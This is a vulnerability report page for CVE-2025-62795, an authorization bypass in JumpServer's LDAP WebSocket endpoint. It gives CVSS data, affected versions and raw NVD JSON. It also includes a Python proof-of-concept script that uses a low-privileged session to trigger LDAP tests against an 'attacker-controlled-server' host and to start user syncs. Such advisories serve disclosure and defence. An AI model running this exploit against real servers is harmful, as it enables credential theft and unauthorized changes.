Security Vulnerability Report
中文
CVE-2025-62795 CVSS 7.1 HIGH

CVE-2025-62795

Published: 2025-10-30 17:15:40
Last Modified: 2025-11-12 15:26:50

Description

JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.21-lts and v4.10.12-lts, a low-privileged authenticated user can invoke LDAP configuration tests and start LDAP synchronization by sending crafted messages to the /ws/ldap/ WebSocket endpoint, bypassing authorization checks and potentially exposing LDAP credentials or causing unintended sync operations. This vulnerability is fixed in v3.10.21-lts and v4.10.12-lts.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:* - VULNERABLE
JumpServer < v3.10.21-lts
JumpServer < v4.10.12-lts

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import websockets import json async def exploit_cve_2025_62795(): """ PoC for CVE-2025-62795: JumpServer LDAP WebSocket Authorization Bypass This PoC demonstrates how a low-privileged user can invoke LDAP operations. """ target_url = "wss://vulnerable-server/ws/ldap/" # Standard WebSocket headers with low-privileged user session headers = { "Cookie": "sessionid=low_privilege_user_session", "User-Agent": "Mozilla/5.0" } try: async with websockets.connect(target_url, extra_headers=headers) as ws: # Step 1: Send LDAP test connection request ldap_test_request = { "action": "test_connection", "ldap_config": { "host": "ldap://attacker-controlled-server", "port": 389, "bind_dn": "cn=admin,dc=example,dc=com", "bind_password": "admin_password" } } await ws.send(json.dumps(ldap_test_request)) # Step 2: Receive response containing LDAP credentials response = await ws.recv() print(f"[+] Received response: {response}") # Step 3: Trigger LDAP sync operation sync_request = { "action": "sync_users", "ldap_config": { "host": "ldap://ldap-server", "base_dn": "dc=example,dc=com" } } await ws.send(json.dumps(sync_request)) sync_response = await ws.recv() print(f"[+] Sync response: {sync_response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.run(exploit_cve_2025_62795())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62795", "sourceIdentifier": "[email protected]", "published": "2025-10-30T17:15:39.723", "lastModified": "2025-11-12T15:26:50.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.21-lts and v4.10.12-lts, a low-privileged authenticated user can invoke LDAP configuration tests and start LDAP synchronization by sending crafted messages to the /ws/ldap/ WebSocket endpoint, bypassing authorization checks and potentially exposing LDAP credentials or causing unintended sync operations. This vulnerability is fixed in v3.10.21-lts and v4.10.12-lts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.10.21", "matchCriteriaId": "AD0D5F68-C04D-4090-B520-BC123E079B67"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.10.12", "matchCriteriaId": "A27A2C67-F249-4095-A9F8-20673685125B"}]}]}], "references": [{"url": "https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7893-256g-m822", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7893-256g-m822", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}